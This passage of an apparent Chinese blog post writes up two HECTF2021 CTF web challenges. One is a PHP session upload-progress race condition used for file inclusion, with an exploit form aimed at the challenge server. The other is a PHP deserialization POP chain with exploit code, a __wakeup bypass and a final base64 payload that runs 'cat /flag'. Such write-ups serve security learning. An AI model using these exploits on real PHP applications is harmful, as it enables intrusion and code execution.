enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项

非常重要

name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
prefix+name将表示为session中的键名
session相关配置及session反序列化
因为这个不是本文的重点,所以这里附上几个相关链接。

https://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html
https://blog.spoock.com/2016/10/16/php-serialize-problem/?utm_source=tuicool&utm_medium=referral

另外,再添加个session配置中一个重要选项。
session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到。

思路就是通过上传PHP_SESSION_UPLOAD_PROGRESS来访问/tmp/sess_xxx,从而进行文件包含

首先上传PHP_SESSION_UPLOAD_PROGRESS,代码如下

exp.php

<!DOCTYPE html>
<html>
<body>
<form action="http://81.70.102.209:10040/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

<?php
session_start();
?>

随便上传一个文件抓包

在这里插入图片描述

因为session.use_strict_mode默认值为off,所以这时我们可以自定义session id,比如在Cookie里设置PHPSESSID=flag,php就会在服务器上创建一个文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化session,并产生一个键值。
(在Linux系统中,session文件一般的默认存储位置为/tmp/var/lib/php/session)
所以添加以下内容,待会爆破

在这里插入图片描述

接着去题目页面,传参?file=/tmp/sess_flag后抓包
(随便加一个参数来方便爆破,不加也行)

在这里插入图片描述

因为session.upload_progress.cleanup默认是开启的,一旦读取了所有POST数据,它就会清除进度信息,因此我们要用条件竞争来访问
所以接下来要将这两个包同时爆破
其实就是一个不停的发送,一个不停的访问,总会有几个在删除之前访问到的,这就是条件竞争

爆破开始:
分别在两个包内加入payloads

在这里插入图片描述

*加完之后分别爆破
在这里插入图片描述

在这里插入图片描述

爆破出了目录

f1aggggggggggggggggggggggg

然后更换payload继续爆破

在这里插入图片描述

在这里插入图片描述
成功爆破出了flag


反序列化

<?php
error_reporting(0);
include 'hint.php';
class x{
    public $value;
    public $cc;
    function __wakeup(){
        die('fighting!!!');
    }
}
class a {
    public $nice;
    public function __destruct()
    {
        $this->nice = unserialize($this->nice);
        $this->nice->value = $fake;
        if($this->nice->value === $this->nice->cc)
            $this->test->good();
    }
}
class b {
    public $value;
    public $array;
    public function good(){
        if(is_array($this->array)){
            ($this->array)($this->value);
        }
        else{
            echo 'must_array';
        }
    }
}
class c {
    public $value;
    public function shell($func) {
        if(preg_match('/^[a-z0-9]*$/isD',$func)){
            die('y0u_A2e_HacKK!'); 
        }
        else{
            $func($this->value);
        }
    }
}
if (isset($_GET['pop'])) {
    $pop = base64_decode($_GET['pop']);
    unserialize($pop);
} else {
    highlight_file(__FILE__);
}

pop链:
这里的a类是入口

//a
class a {
    public $nice;
    public function __destruct()
    {
        $this->nice = unserialize($this->nice);
        $this->nice->value = $fake;
        if($this->nice->value === $this->nice->cc)
            $this->test->good();
    }
}

要求 :

$value $cc $fake
三个变量强相等

$value === $cc === $fake

然后进入good()函数, 由此进入b类

//b
class b {
    public $value;
    public $array;
    public function good(){
        if(is_array($this->array)){
            ($this->array);
            ($this->value);
        }
        else{
            echo 'must_array';
        }
    }
}

要求:

首先有个 $value变量
然后good()函数是判断是否是数组
是就 执行命令

然后进入c类

//c
class c {
    public $value;
    public function shell($func) {
        if(preg_match('/^[a-z0-9]*$/isD',$func)){
            die('y0u_A2e_HacKK!'); 
        }
        else{
            $func($this->value);
        }
    }
}

要求:

首先也有个$value变量
然后是shell()函数
函数的参数需要是传入的$value的值
只有 b类 和 c类 中可以给$value赋值
然后执行shell函数

大概就是

x -> a       // $this->nice->value=$fake | $this->nice->cc=$fake
a -> b       // $this->test=new b()
b -> c       // $value = '/system' | $this->array=array(new c(),shell)
c -> shell() // $value = 'cat /flag'

现在理清思路 开始构造exp
exp:

<?php
    error_reporting(0);

class x{
    public $value;
    public $cc;
    public function __construct(){
        $this->nice->value=$fake;           // $value = $fake
        $this->nice->cc=$fake;              // $value = $fake
    }
}

class a{
    public $nice;
    public function __construct(){
        $this->nice = serialize(new x());
        $this->test=new b();                // 跳转到b类
    }
}

class b{
    public $value = '\system';              // $value赋值 | '\'反斜杠绕过过滤
    public $array;
    public function __construct(){
        $this->array=array(new c(),shell); // 赋值数组参数1跳转到c类 | 参数2执行shell函数
    }
}

class c{
    public $value = "cat /flag";           // $value 赋值读取flag
}

$pop = new a();
$data = serialize($pop);
echo $data;
?>

最后输出

O:1:"a":2:{s:4:"nice";s:92:"O:1:"x":3:{s:5:"value";N;s:2:"cc";N;s:4:"nice";O:8:"stdClass":2:{s:5:"value";N;s:2:"cc";N;}}";s:4:"test";O:1:"b":2:{s:5:"value";s:7:"\system";s:5:"array";a:2:{i:0;O:1:"c":1:{s:5:"value";s:9:"cat /flag";}i:1;s:5:"shell";}}}

最后绕过x 类__wakeup()魔术方法

class x{
    public $value;
    public $cc;
    function __wakeup(){        //序列化最后一步执行
        die('fighting!!!');
    }
}

绕过 __wakeup()魔术方法只需要把序列化的对象数量修改一下即可

O:1:"a":3:{s:4:"nice";s:92:"O:1:"x":3:{s:5:"value";N;s:2:"cc";N;s:4:"nice";O:8:"stdClass":2:{s:5:"value";N;s:2:"cc";N;}}";s:4:"test";O:1:"b":2:{s:5:"value";s:7:"\system";s:5:"array";a:2:{i:0;O:1:"c":1:{s:5:"value";s:9:"cat /flag";}i:1;s:5:"shell";}}}

源:

O:1:"a":2::
O:1:"a":3:

最后在base64加密一下

TzoxOiJhIjozOntzOjQ6Im5pY2UiO3M6OTI6Ik86MToieCI6Mzp7czo1OiJ2YWx1ZSI7TjtzOjI6ImNjIjtOO3M6NDoibmljZSI7Tzo4OiJzdGRDbGFzcyI6Mjp7czo1OiJ2YWx1ZSI7TjtzOjI6ImNjIjtOO319IjtzOjQ6InRlc3QiO086MToiYiI6Mjp7czo1OiJ2YWx1ZSI7czo3OiJcc3lzdGVtIjtzOjU6ImFycmF5IjthOjI6e2k6MDtPOjE6ImMiOjE6e3M6NToidmFsdWUiO3M6OToiY2F0IC9mbGFnIjt9aToxO3M6NToic2hlbGwiO319fQ==

最后的payload:

?pop=TzoxOiJhIjozOntzOjQ6Im5pY2UiO3M6OTI6Ik86MToieCI6Mzp7czo1OiJ2YWx1ZSI7TjtzOjI6ImNjIjtOO3M6NDoibmljZSI7Tzo4OiJzdGRDbGFzcyI6Mjp7czo1OiJ2YWx1ZSI7TjtzOjI6ImNjIjtOO319IjtzOjQ6InRlc3QiO086MToiYiI6Mjp7czo1OiJ2YWx1ZSI7czo3OiJcc3lzdGVtIjtzOjU6ImFycmF5IjthOjI6e2k6MDtPOjE6ImMiOjE6e3M6NToidmFsdWUiO3M6OToiY2F0IC9mbGFnIjt9aToxO3M6NToic2hlbGwiO319fQ==

在这里插入图片描述


总结

以上就是对HECTF2021题目的部分总结

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值